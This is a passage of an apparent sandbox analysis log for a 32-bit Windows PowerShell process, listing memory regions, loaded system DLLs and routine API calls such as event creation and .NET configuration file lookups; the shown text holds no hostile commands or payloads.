"\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3414 start_va = 0x5e10000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e10000" filename = "" Region: id = 3415 start_va = 0x49c0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 3416 start_va = 0x49c0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 3417 start_va = 0x49c0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 3418 start_va = 0x49c0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 3419 start_va = 0x49c0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 3420 start_va = 0x4d20000 end_va = 0x4d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 3421 start_va = 0x4dd0000 end_va = 0x4e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 3422 start_va = 0x4e10000 end_va = 0x4e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e10000" filename = "" Region: id = 3423 start_va = 0x5d80000 end_va = 0x5dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d80000" filename = "" Region: id = 3424 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 3425 start_va = 0x49c0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 3426 start_va = 0x49c0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 3510 start_va = 0x5e10000 end_va = 0x5e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e10000" filename = "" Region: id = 3511 start_va = 0x5e90000 end_va = 0x5ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e90000" filename = "" Region: id = 3512 start_va = 0x5ed0000 end_va = 0x5fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 3539 start_va = 0x49c0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 3540 start_va = 0x49d0000 end_va = 0x49dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049d0000" filename = "" Region: id = 3586 start_va = 0x49e0000 end_va = 0x49effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049e0000" filename = "" Region: id = 3594 start_va = 0x49f0000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049f0000" filename = "" Region: id = 3611 start_va = 0x4a80000 end_va = 0x4a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 3612 start_va = 0x5a70000 end_va = 0x5aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a70000" filename = "" Region: id = 3613 start_va = 0x5e20000 end_va = 0x5e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e20000" filename = "" Region: id = 3614 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3620 start_va = 0x4a90000 end_va = 0x4a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 3621 start_va = 0x4b20000 end_va = 0x4b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 3629 start_va = 0x4b30000 end_va = 0x4b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 3630 start_va = 0x4b40000 end_va = 0x4b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 3631 start_va = 0x4b50000 end_va = 0x4b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b50000" filename = "" Region: id = 3632 start_va = 0x4b60000 end_va = 0x4b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b60000" filename = "" Region: id = 3633 start_va = 0x4b70000 end_va = 0x4b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 3635 start_va = 0x4a80000 end_va = 0x4a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 3640 start_va = 0x5bb0000 end_va = 0x5beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005bb0000" filename = "" Region: id = 3641 start_va = 0x5e80000 end_va = 0x5ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 3642 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3647 start_va = 0x4b30000 end_va = 0x4b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 3655 start_va = 0x4b60000 end_va = 0x4b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b60000" filename = "" Region: id = 3656 start_va = 0x4b70000 end_va = 0x4b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 3657 start_va = 0x4b80000 end_va = 0x4b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 3658 start_va = 0x4d10000 end_va = 0x4d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d10000" filename = "" Region: id = 3659 start_va = 0x4d60000 end_va = 0x4d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d60000" filename = "" Region: id = 3660 start_va = 0x4d70000 end_va = 0x4d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 3661 start_va = 0x4dc0000 end_va = 0x4dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 3662 start_va = 0x4dd0000 end_va = 0x4ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 3663 start_va = 0x4de0000 end_va = 0x4deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004de0000" filename = "" Region: id = 3664 start_va = 0x4df0000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004df0000" filename = "" Region: id = 3665 start_va = 0x4e00000 end_va = 0x4e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 3671 start_va = 0x5a70000 end_va = 0x5aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a70000" filename = "" Region: id = 3672 start_va = 0x5ba0000 end_va = 0x5bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ba0000" filename = "" Region: id = 3673 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3789 start_va = 0x5a40000 end_va = 0x5a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a40000" filename = "" Region: id = 3790 start_va = 0x5b90000 end_va = 0x5bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b90000" filename = "" Region: id = 3791 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3792 start_va = 0x4910000 end_va = 0x491ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 3793 start_va = 0x4920000 end_va = 0x492ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004920000" filename = "" Region: id = 3796 start_va = 0x4930000 end_va = 0x493ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004930000" filename = "" Region: id = 3797 start_va = 0x4940000 end_va = 0x494ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004940000" filename = "" Region: id = 3798 start_va = 0x49d0000 end_va = 0x49dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049d0000" filename = "" Region: id = 3799 start_va = 0x5d40000 end_va = 0x5d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d40000" filename = "" Region: id = 3800 start_va = 0x5e10000 end_va = 0x5e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e10000" filename = "" Region: id = 3801 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 3802 start_va = 0x49e0000 end_va = 0x49effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049e0000" filename = "" Region: id = 3803 start_va = 0x49f0000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049f0000" filename = "" Region: id = 3839 start_va = 0x4a80000 end_va = 0x4a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 3840 start_va = 0x4a90000 end_va = 0x4a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 3841 start_va = 0x4b20000 end_va = 0x4b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 3842 start_va = 0x4b30000 end_va = 0x4b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 3854 start_va = 0x4b40000 end_va = 0x4b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 3855 start_va = 0x4b50000 end_va = 0x4b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b50000" filename = "" Region: id = 3856 start_va = 0x4b60000 end_va = 0x4b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b60000" filename = "" Region: id = 3857 start_va = 0x4930000 end_va = 0x493ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004930000" filename = "" Region: id = 3858 start_va = 0x49f0000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049f0000" filename = "" Region: id = 3868 start_va = 0x4b30000 end_va = 0x4b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 3869 start_va = 0x4b50000 end_va = 0x4b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b50000" filename = "" Region: id = 3870 start_va = 0x4b60000 end_va = 0x4b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b60000" filename = "" Region: id = 3871 start_va = 0x4b70000 end_va = 0x4b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 3875 start_va = 0x49e0000 end_va = 0x49effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049e0000" filename = "" Region: id = 3876 start_va = 0x49f0000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049f0000" filename = "" Region: id = 3877 start_va = 0x4910000 end_va = 0x491ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 3878 start_va = 0x4930000 end_va = 0x493ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004930000" filename = "" Region: id = 3879 start_va = 0x49d0000 end_va = 0x49dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049d0000" filename = "" Region: id = 3880 start_va = 0x49e0000 end_va = 0x49effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049e0000" filename = "" Region: id = 3881 start_va = 0x4a80000 end_va = 0x4a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 3882 start_va = 0x4a90000 end_va = 0x4a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 3883 start_va = 0x4b40000 end_va = 0x4b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 3884 start_va = 0x4b50000 end_va = 0x4b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b50000" filename = "" Region: id = 3885 start_va = 0x4b60000 end_va = 0x4b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b60000" filename = "" Region: id = 3886 start_va = 0x4b70000 end_va = 0x4b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 3887 start_va = 0x4b80000 end_va = 0x4b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 3888 start_va = 0x4d10000 end_va = 0x4d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d10000" filename = "" Region: id = 3889 start_va = 0x4d60000 end_va = 0x4d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d60000" filename = "" Region: id = 3890 start_va = 0x4d70000 end_va = 0x4d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 3891 start_va = 0x4dc0000 end_va = 0x4dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 3892 start_va = 0x4dd0000 end_va = 0x4ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 3893 start_va = 0x4de0000 end_va = 0x4deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004de0000" filename = "" Region: id = 3894 start_va = 0x4df0000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004df0000" filename = "" Region: id = 3895 start_va = 0x4e00000 end_va = 0x4e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 4384 start_va = 0x4e60000 end_va = 0x4e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e60000" filename = "" Region: id = 4385 start_va = 0x5a50000 end_va = 0x5a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a50000" filename = "" Region: id = 4386 start_va = 0x73a60000 end_va = 0x73b54fff monitored = 0 entry_point = 0x73a70d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 4387 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 4388 start_va = 0x1ce0000 end_va = 0x1ce1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ce0000" filename = "" Region: id = 4389 start_va = 0x74260000 end_va = 0x743fdfff monitored = 0 entry_point = 0x7428e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 4390 start_va = 0x1cf0000 end_va = 0x1cf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 4391 start_va = 0x1d00000 end_va = 0x1d01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Region: id = 4392 start_va = 0x1cf0000 end_va = 0x1cf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cf0000" filename = "" Region: id = 4393 start_va = 0x75490000 end_va = 0x75512fff monitored = 0 entry_point = 0x754923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4394 start_va = 0x1d10000 end_va = 0x1d10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d10000" filename = "" Region: id = 4395 start_va = 0x74220000 end_va = 0x74240fff monitored = 0 entry_point = 0x7422145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 4396 start_va = 0x76fd0000 end_va = 0x77014fff monitored = 0 entry_point = 0x76fd11e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 4397 start_va = 0x4380000 end_va = 0x4383fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 4398 start_va = 0x4390000 end_va = 0x43b7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000e.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000e.db") Region: id = 4399 start_va = 0x43e0000 end_va = 0x43e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043e0000" filename = "" Region: id = 4400 start_va = 0x5fd0000 end_va = 0x60d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fd0000" filename = "" Region: id = 4401 start_va = 0x5fd0000 end_va = 0x60d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fd0000" filename = "" Region: id = 4402 start_va = 0x5fd0000 end_va = 0x60d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fd0000" filename = "" Region: id = 4403 start_va = 0x4380000 end_va = 0x4383fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4404 start_va = 0x43f0000 end_va = 0x441ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000019.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db") Region: id = 4405 start_va = 0x4420000 end_va = 0x4423fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 4406 start_va = 0x4b20000 end_va = 0x4b85fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 4407 start_va = 0x4430000 end_va = 0x443dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 4408 start_va = 0x4440000 end_va = 0x4440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004440000" filename = "" Region: id = 4409 start_va = 0x4d80000 end_va = 0x4dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d80000" filename = "" Region: id = 4410 start_va = 0x5a30000 end_va = 0x5a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a30000" filename = "" Region: id = 4411 start_va = 0x77020000 end_va = 0x771bcfff monitored = 0 entry_point = 0x770217e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 4412 start_va = 0x77210000 end_va = 0x77236fff monitored = 0 entry_point = 0x772158b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 4413 start_va = 0x75f20000 end_va = 0x75f31fff monitored = 0 entry_point = 0x75f21441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 4414 start_va = 0x4450000 end_va = 0x445cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 4478 start_va = 0x4cd0000 end_va = 0x4d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cd0000" filename = "" Region: id = 4479 start_va = 0x4dc0000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 4480 start_va = 0x4e50000 end_va = 0x4e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e50000" filename = "" Region: id = 4481 start_va = 0x5a90000 end_va = 0x5acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a90000" filename = "" Region: id = 4482 start_va = 0x5b40000 end_va = 0x5b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b40000" filename = "" Region: id = 4483 start_va = 0x5e40000 end_va = 0x5e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 4484 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 4485 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 4486 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 4505 start_va = 0x4910000 end_va = 0x491ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Thread: id = 16 os_tid = 0x42c [0263.829] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4c0 [0263.829] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4c4 [0263.829] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4c8 [0263.829] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4cc [0263.830] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d0 [0263.830] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4d4 [0263.830] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4d8 [0263.831] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4dc [0263.831] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0263.831] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4e4 [0263.832] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4e8 [0263.832] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4ec [0263.832] SetEvent (hEvent=0x4cc) returned 1 [0263.832] SetEvent (hEvent=0x4c0) returned 1 [0263.832] SetEvent (hEvent=0x4c4) returned 1 [0263.833] SetEvent (hEvent=0x4c8) returned 1 [0263.833] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4f0 [0263.833] SetEvent (hEvent=0x378) returned 1 [0263.859] SetEvent (hEvent=0x4d0) returned 1 [0263.859] SetEvent (hEvent=0x4d4) returned 1 [0263.859] SetEvent (hEvent=0x4d8) returned 1 [0264.306] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x2ddb88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0264.307] CoTaskMemAlloc (cb=0x20c) returned 0x5c98dd0 [0264.307] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5c98dd0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0264.308] CoTaskMemFree (pv=0x5c98dd0) [0264.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0264.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0264.318] GetCurrentProcess () returned 0xffffffff [0264.319] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ddec0 | out: TokenHandle=0x2ddec0*=0x50c) returned 1 [0264.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0264.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0264.323] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x2ddeb8 | out: lpFileInformation=0x2ddeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0264.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0264.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x44, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0264.325] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: 